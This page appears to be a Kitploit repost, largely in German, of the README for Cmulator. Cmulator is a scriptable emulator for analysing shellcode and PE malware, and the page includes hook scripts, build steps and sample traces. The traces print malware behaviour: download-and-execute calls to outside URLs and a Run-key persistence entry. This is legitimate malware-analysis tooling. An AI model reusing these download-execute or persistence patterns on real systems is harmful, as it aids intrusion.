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Cmulator — Cmulator is ( x86 - x64 ) Scriptable Reverse Engineering Sandbox Emulator for shellcode and PE binaries . Based on Unicorn & Zydis Engine & javascript | Kitploit
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Cmulator

Cmulator is ( x86 - x64 ) Scriptable Reverse Engineering Sandbox Emulator for shellcode and PE binaries . Based on Unicorn & Zydis Engine & javascript

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Cmulator - Skriptfähiger x86 RE Sandbox-Emulator (v0.3 Beta)

License: AGPL v3

Cmulator ist ein (x86 - x64)
skriptfähiger Reverse-Engineering-Sandbox-Emulator für Shellcode und PE-Binärdateien,
basierend auf Unicorn & Capstone Engine & Javascript.

💬 Dies ist die letzte unterstützte Pascal-Version und die neue Codebasis (C/C++) wird hier sein Cmulator.

Unterstützte Architekturen:

  • i386
  • x86-64

Unterstützte Dateiformate

  • PE, PE+
  • Shellcodes

Bekannte Probleme

  • Es gibt einen Fehler in Unicorn, der Daten in der Nähe von EIP verändert.
    Wenn jemand helfen kann, bitte prüfen unicorn#820

Aktuelle Funktionen

  • Simulierte GDT & Segmente.
  • Simulierte TEB & PEB-Strukturen für sowohl Shellcodes als auch PE.
  • Simulierte LDR-Tabelle & -Daten.
  • Verwaltet Image- und Stapelspeicher.
  • Bewertet Funktionen basierend auf DLL-Exporten.
  • Verfolgt alle ausgeführten API-Aufrufe (gut für verschleierte PE).
  • Zeigt HexDump mit Strings basierend auf referenzierten Speicheradressen an.
  • Patchen des Speichers.
  • Benutzerdefinierte API-Hooks mittels Javascript (Skripting).
  • Behandelt SEH (benötigt noch mehr Arbeit).
  • [+] Hook-Adresse.
  • [+] Apiset-Map-Resolver


[+] Änderungsprotokoll

  • V0.3 Beta

    • Dies ist die letzte unterstützte Pascal-Version und die neue Codebasis (C/C++) wird hier sein https://github.com/Cmulator/Cmulator .
  • v0.2 beta

    • [+] Hook-Adresse hinzugefügt
    • [+] Implementierung des Api-Schema-Forwarders
    • [+] Disassembler von Capstone auf Zydis Engine geändert
    • [√] Verbesserungen der SEH-Behandlung
    • [√] Verbesserungen der JS-API-Handhabung
    • [√] Verbesserte API-Erkennung per Adresse oder Name oder Ordinal
  • v0.1 beta

    • Erstversion



Hook-Beispiel JavaScript

root@kitploit:~
var GetModuleFileName = new ApiHook();
/*
DWORD WINAPI GetModuleFileName(
  _In_opt_ HMODULE hModule,
  _Out_    LPTSTR  lpFilename,
  _In_     DWORD   nSize
);
*/
GetModuleFileName.OnCallBack = function (Emu, API, ret) {

	Emu.pop(); // ret
	
	var hModule    = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop();
	var lpFilename = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop();
	var nSize	   = Emu.isx64 ? Emu.ReadReg(REG_R8D) : Emu.pop();

	var mName = Emu.GetModuleName(hModule);
	var Path = 'C:\\pla\\' + mName;

	var len = API.IsWapi ? Emu.WriteStringW(lpFilename,Path) : Emu.WriteStringA(lpFilename,Path);

	// null byte - maybe needed maybe not :D - i put it anyway :V 
	API.IsWapi ? Emu.WriteWord(lpFilename + (len * 2),0) : Emu.WriteByte(lpFilename+len,0);

	print("{0}(0x{1}, 0x{2}, 0x{3}) = '{4}'".format(
		API.name,
		hModule.toString(16),
		lpFilename.toString(16),
		nSize.toString(16),
		Path
	));

	// MS Docs : the return value is the length of the string
	Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len);	
	Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret);
	return true; // true if you handle it false if you want Emu to handle it and set PC .
};

GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameA');
GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameW');

root@kitploit:~
var _vsnprintf = new ApiHook();
/*
int _vsnprintf(  
   char *buffer,  
   size_t count,  
   const char *format,  
   va_list argptr   
);
*/
_vsnprintf.OnCallBack = function (Emu, API, ret) {

	// save the param to args
	// args is an Array and it's implemented in every ApiHook .
	_vsnprintf.args[0] = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + 4);

	// i think implementing this in JS is hard 
	// so just let the library handle it :D 
	return true; // True so we continue to the lib code .
};

// OnExit Callback ..
_vsnprintf.OnExit = function(Emu,API){
	
	// Read Our Saved Param .
	var buffer = _vsnprintf.args[0];

	warn("OnExit : _vsnprintf() = '{0}' ".format(
		Emu.ReadStringA(buffer)
	));
}

_vsnprintf.install('msvcrt.dll', '_vsnprintf');


Beispielausgabe :

AntiDebug-Downloader

root@kitploit:~
Coldzer0 @ OSX $./Cmulator -f ../../samples/AntiDebugDownloader.exe -q

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 01:51:51
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"AntiDebugDownloader.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : AntiDebugDownloader.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers  : 0000000000000400
[*] Size Of Image    : 0000000000004000
[---------------------------------------]

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : AntiDebugDownloader.exe
[*] Import 3 Dlls

[+] Fix IAT for : kernel32.dll

[+] Fix IAT for : urlmon.dll

[+] Fix IAT for : advapi32.dll

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 52 Libraries ...

[>] Run AntiDebugDownloader.exe

0x401005 : IsDebuggerPresent = 0
GetWindowsDirectoryA(403000, 260) = 10 - 'C:\Windows' 
0x40103d : URLDownloadToFileA(0, 'https://www.dropbox.com/s/fr3z6axblxfcmq8/UrlDownLoadtoFile.exe?dl=0', 'C:\Windows', 0, 0)
0x401051 : RegCreateKeyA(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 0x403159) = 144
0x40106f : RegSetValueExA(144, 'ransomware', 0, REG_SZ, 'C:\Windows', 260)
0x40107a : RegCloseKey()
ExitProcess(0x0)

26 Branches - Executed in 9 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯
x64 Down & Exec ShellCode

root@kitploit:~
Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/down_exec64.sc -sc -x64

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"sc64.exe" is : x64
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : sc64.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers  : 0000000000000400
[*] Size Of Image    : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : sc64.exe
[*] Import 0 Dlls

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 25 Libraries ...

[>] Run sc64.exe

LoadLibraryA('urlmon') = 0x70714000
GetProcAddress(0x70714000,'URLDownloadToFileA') = 0x707ADB10
0x40111b : URLDownloadToFileA(0, 'http://192.168.10.129/pl.exe', 'C:\\Users\\Public\\p.exe', 0, 2489880)
SetFileAttributesA('C:\\Users\\Public\\p.exe',0x2)
WinExec('C:\\Users\\Public\\p.exe', 0)
FatalExit(0x0)

95 Steps - Executed in 295 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯


x32 Down & Exec ShellCode

root@kitploit:~
Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/URLDownloadToFile.sc -sc

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"sc32.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : sc32.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers  : 0000000000000400
[*] Size Of Image    : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : sc32.exe
[*] Import 0 Dlls

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 25 Libraries ...

[>] Run sc32.exe

GetProcAddress(0x70300000,'LoadLibraryA') = 0x703149D7
LoadLibraryA('urlmon.dll') = 0x7065a000
GetProcAddress(0x7065A000,'URLDownloadToFileA') = 0x706F08D0
GetProcAddress(0x70300000,'WinExec') = 0x70392C21
0x40113b : URLDownloadToFileA(0, 'https://rstforums.com/fisiere/dead.exe', 'dead.exe', 0, 0)
WinExec('dead.exe', 1)

3041 Steps - Executed in 415 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯


SEH-Behandlung anzeigen (PELock Obfuscator)

root@kitploit:~
Coldzer0 @ OSX $./Cmulator -f ../../samples/obfuscated/obfuscated.exe -ex

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"obfuscated.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : obfuscated.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 000000000000A4BD
[*] Size Of Headers  : 0000000000001000
[*] Size Of Image    : 000000000000F000
[---------------------------------------]

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : obfuscated.exe
[*] Import 2 Dlls

[+] Fix IAT for : KERNEL32.dll

[+] Fix IAT for : USER32.dll

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 44 Libraries ...

[>] Run obfuscated.exe

EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 1, data value = 0x0
0x403031 Exception caught SEH 0x25FEEC - Handler 0x409215
ZwContinue -> Context = 0x25F97C
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x4056EC Exception caught SEH 0x25FEE8 - Handler 0x402516
ZwContinue -> Context = 0x25F978
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x401974 Exception caught SEH 0x25FEE4 - Handler 0x4019CE
ZwContinue -> Context = 0x25F974
MessageBoxA(0, 'Hello world', 'Visit us at www.pelock.com', 64)
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x403A49 Exception caught SEH 0x25FEF4 - Handler 0x40A17B
ZwContinue -> Context = 0x25F984
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x40AD64 Exception caught SEH 0x25FEF4 - Handler 0x40B461
ZwContinue -> Context = 0x25F984
ExitProcess(0x0)

7387 Steps - Executed in 118 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯


SEH-Behandlung verstecken (PELock Obfuscator)

root@kitploit:~
Coldzer0 @ OSX $./Cmulator -f ../../samples/obfuscated/obfuscated.exe 

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"obfuscated.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : obfuscated.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 000000000000A4BD
[*] Size Of Headers  : 0000000000001000
[*] Size Of Image    : 000000000000F000
[---------------------------------------]

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : obfuscated.exe
[*] Import 2 Dlls

[+] Fix IAT for : KERNEL32.dll

[+] Fix IAT for : USER32.dll

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 44 Libraries ...

[>] Run obfuscated.exe

MessageBoxA(0, 'Hello world', 'Visit us at www.pelock.com', 64)
ExitProcess(0x0)

7387 Steps - Executed in 116 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯



Und probieren Sie es selbst aus – finden Sie es unter "samples/obfuscated/obfuscated.exe" 😉

IN BEARBEITUNG Nach Priorität:

  • Speicherverwaltung – Nächste Version
  • Fehlerüberprüfung und -behebung 👌🏻
  • Api-Schema-Forwarder benötigt noch weitere Verbesserungen und Tests

TODO Nach Priorität:

  • PC (RIP - EIP) Hook.
  • Verbesserung der Ausnahmebehandlung.
  • Native Plugins & API-Hook-Bibliotheken.
  • Api-Schema-Forwarder.
  • Speicherverwaltung hinzufügen.
  • Sysenter/Syscall globaler Hook in JS.
  • Steuerung von TEB/PEB in JS.
  • Interaktive Debug-Shell.
  • Assembler hinzufügen.
  • Threading implementieren.

Anforderungen

  • Freepascal >= v3
  • Unicorn Engine
  • Zydis Engine
  • QuickJS Engine

Installation

  • Installieren Sie die Lazarus IDE
  • Sie finden alle benötigten Bibliotheken im Ordner "libraries" ;)
  • Dann bauen

Build

1. Build Cmulator

root@kitploit:~
git clone https://github.com/Coldzer0/Cmulator.git

Open "Cmulator.lpi" with Lazarus IDE 

Then Hit Compile :D
Oh Before that you need to select the Build Mode

From Laz IDE Select 

Projects -> Project Options -> Compiler Options 

and Select the Mode for your OS .

Oder einfach von Releases herunterladen



2. config.json Konfigurationsdatei erstellen

root@kitploit:~
touch config.json

3. Pfade zu Windows-DLLs setzen

Legen Sie die DLL-Ordner fest, in denen Sie Ihre Windows-DLLs und die JS-Hauptdatei gespeichert haben.

root@kitploit:~
{
  "system": {
    "win32": "../win_dlls/x32_win7",
    "win64": "../win_dlls/x64_win7",
    "Apiset": "../Apiset.json"
  },
  "JS": {
  	"main": "../API.JS"
  }
}

Ausführen

root@kitploit:~
./Cmulator -file samples/AntiDebug.exe

Dokumentation

Wird noch bearbeitet, bald verfügbar.


Danksagungen & Ressourcen:

Diese Arbeit wurde inspiriert von:

  • unicorn-libemu-shim – Der Hauptgrund, warum ich dieses Projekt gestartet habe ❤ .
  • LIBEMU – Hooking-Methoden .
  • SCDBG – Der interaktive Debugger .
  • xori – Ich habe deren Methode zum Erstellen von LDR verwendet .

Verwendete OpenSource-Projekte :

  • QuickJS Engine
  • Unicorn Engine
  • Zydis Engine
  • PE Parser
  • Pse PE Parse
  • generics collections
  • Super Object (JSON)

Verwendete Ressourcen :

  • Microsoft Docs
  • Understanding the PEB Loader Data Structure
  • Wine
  • Nynaeve Blog
  • ReWolf terminus - Windows data structures
  • OS Dev - GDT_Tutorial
  • Set up a GDT in Unicorn

Mit ❤️ Von zuhause

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